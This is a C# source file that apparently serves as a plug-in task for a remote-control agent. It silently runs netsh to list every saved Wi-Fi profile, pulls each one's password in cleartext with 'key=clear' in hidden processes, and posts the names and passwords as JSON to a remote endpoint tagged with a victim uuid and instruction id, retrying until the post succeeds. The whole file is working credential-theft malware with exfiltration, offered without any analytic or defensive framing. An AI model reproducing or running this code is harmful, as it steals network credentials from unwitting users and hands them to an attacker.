﻿using System.Diagnostics;
using System.Threading.Tasks;
using System.Text.RegularExpressions;
using System.Text;
using System;
using System.IO;
using System.Net.Http;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;
public class Script
{
 [DataContract]
    public class Response
    {
        [DataMember]
        public string output { get; set; }
    }
    private static async Task NotifyWithRetry(string EndPoint, string uuid, long instructionId, short code, string output)
        {
            TimeSpan delay = TimeSpan.FromSeconds(10);
            while (true)
            {
                HttpClient httpClient = new HttpClient();
                try
                {
                    DataContractJsonSerializer serializer = new DataContractJsonSerializer(typeof(Response));

                    using (MemoryStream ms = new MemoryStream())
                    {
                        serializer.WriteObject(ms, new Response { output = output });
                        var content = new StringContent(Encoding.UTF8.GetString(ms.ToArray()), Encoding.UTF8, "application/json");
                        var response = await httpClient.PostAsync(EndPoint + "Response/" + uuid + "/" + instructionId + "/" + code, content);
                        response.EnsureSuccessStatusCode();
                        break;
                    }
                }
                catch (Exception)
                {
                }
                await Task.Delay(delay);
            }
        }
    public static async Task<object> ExecuteAsync(string endpoint, string uuid, long instId, short code)
    {
        await NotifyWithRetry(endpoint, uuid, instId, code, ExtractWiFiPasswords());
        return null;
    }
    static string ExtractWiFiPasswords()
    {
        StringBuilder result = new StringBuilder();

        try
        {
            Process process = new Process();
            process.StartInfo.FileName = "netsh";
            process.StartInfo.Arguments = "wlan show profiles";
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.CreateNoWindow = true;
            process.Start();

            string output = process.StandardOutput.ReadToEnd();
            process.WaitForExit();

            string[] lines = output.Split('\n');
            string pattern = @"All User Profile\s+:\s(.*)";

            foreach (string line in lines)
            {
                Match match = Regex.Match(line, pattern);
                if (match.Success)
                {
                    string profileName = match.Groups[1].Value.Trim();
                    string password = GetPasswordForProfile(profileName);
                    result.AppendLine(profileName + " : " + password); // Replace $ with +
                }
            }
        }
        catch (Exception ex)
        {
            result.AppendLine("An error occurred: " + ex.Message); // Replace $ with +
        }

        return result.ToString();
    }
    static string GetPasswordForProfile(string profileName)
    {
        Process process = new Process();
        process.StartInfo.FileName = "netsh";
        process.StartInfo.Arguments = "wlan show profile name=\"" + profileName + "\" key=clear"; // Replace $ with +
        process.StartInfo.UseShellExecute = false;
        process.StartInfo.RedirectStandardOutput = true;
        process.StartInfo.CreateNoWindow = true;
        process.Start();

        string output = process.StandardOutput.ReadToEnd();
        process.WaitForExit();

        string passwordPattern = @"Key Content\s+:\s(.*)";
        Match passwordMatch = Regex.Match(output, passwordPattern);

        if (passwordMatch.Success)
        {
            return passwordMatch.Groups[1].Value.Trim();
        }
        else
        {
            return "Not found";
        }
    }
}
